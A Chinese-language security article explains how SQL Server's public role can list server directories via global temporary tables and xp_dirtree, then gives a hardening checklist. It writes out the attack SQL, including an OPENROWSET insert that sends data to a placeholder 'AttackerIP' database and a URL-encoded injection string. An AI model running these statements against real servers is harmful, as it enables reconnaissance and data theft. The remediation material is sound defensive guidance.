首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server Public權限下的目錄遍歷風險與修復方案

     編輯:關於SqlServer

網上流傳「Public權限無法利用 xp_dirtree、xp_regread 因無建表權限」的觀點實屬誤導。實測證明:Public角色可創建全局臨時表 (##table),配合 OPENROWSET 即可實現目錄遍歷與數據外帶。本文揭示攻擊鏈路並給出修復方案。

攻擊實現原理 (僅供防禦驗證)

-- 1. 創建全局臨時表 (Public有權限)
CREATE TABLE ##nonamed (dir NTEXT, num INT);

-- 2. 調用擴展存儲過程寫入目錄列表
INSERT ##nonamed EXEC master..xp_dirtree 'C:\', 1;

-- 3. 通過OPENROWSET將數據外帶到攻擊者控制的數據庫
INSERT INTO OPENROWSET('SQLOLEDB', 'AttackerIP';'user';'pass', 'SELECT * FROM TargetDB.dbo.dirtree')
SELECT * FROM ##nonamed;

關鍵點:## 全局臨時表跨會話可見;OPENROWSET 需目標實例開啟 Ad Hoc Distributed Queries。

NBSI (注入) 環境下的利用變體

URL編碼 ##nonamed → %23%23nonamed,注入點構造:

...; CREATE TABLE %23%23nonamed(...); INSERT %23%23nonamed EXEC master..xp_dirtree 'C:\',1; --

修復與加固清單

  1. 禁用危險擴展存儲過程 (核心):
    EXEC sp_dropextendedproc 'xp_dirtree';
    EXEC sp_dropextendedproc 'xp_subdirs';
    EXEC sp_dropextendedproc 'xp_fileexist';
    EXEC sp_dropextendedproc 'xp_availablemedia';
    EXEC sp_dropextendedproc 'xp_regread';
    EXEC sp_dropextendedproc 'xp_regwrite';
    EXEC sp_dropextendedproc 'xp_cmdshell'; (若不需)
  2. 關閉 Ad Hoc Distributed Queries:
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'Ad Hoc Distributed Queries', 0; RECONFIGURE;
  3. 最小化 Public 權限:
    REVOKE EXECUTE ON xp_dirtree TO PUBLIC; (若保留擴展存儲過程)
  4. 部署數據庫防火牆/審計:監控 xp_、OPENROWSET、CREATE TABLE ## 異常調用。

驗證修復效果

以低權限賬號登錄 SSMS,執行攻擊腳本,應報錯:
Msg 229, Level 14, State 5: The EXECUTE permission was denied on the object 'xp_dirtree', database 'mssqlsystemresource', schema 'sys'.

總結

Public角色並非「無害」,其擁有創建全局臨時表權限,配合擴展存儲過程可成信息洩露跳板。禁用不必要的擴展存儲過程、關閉 Ad Hoc 分布式查詢 是根治之道。建議納入SQL Server安全基線清單定期核查。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved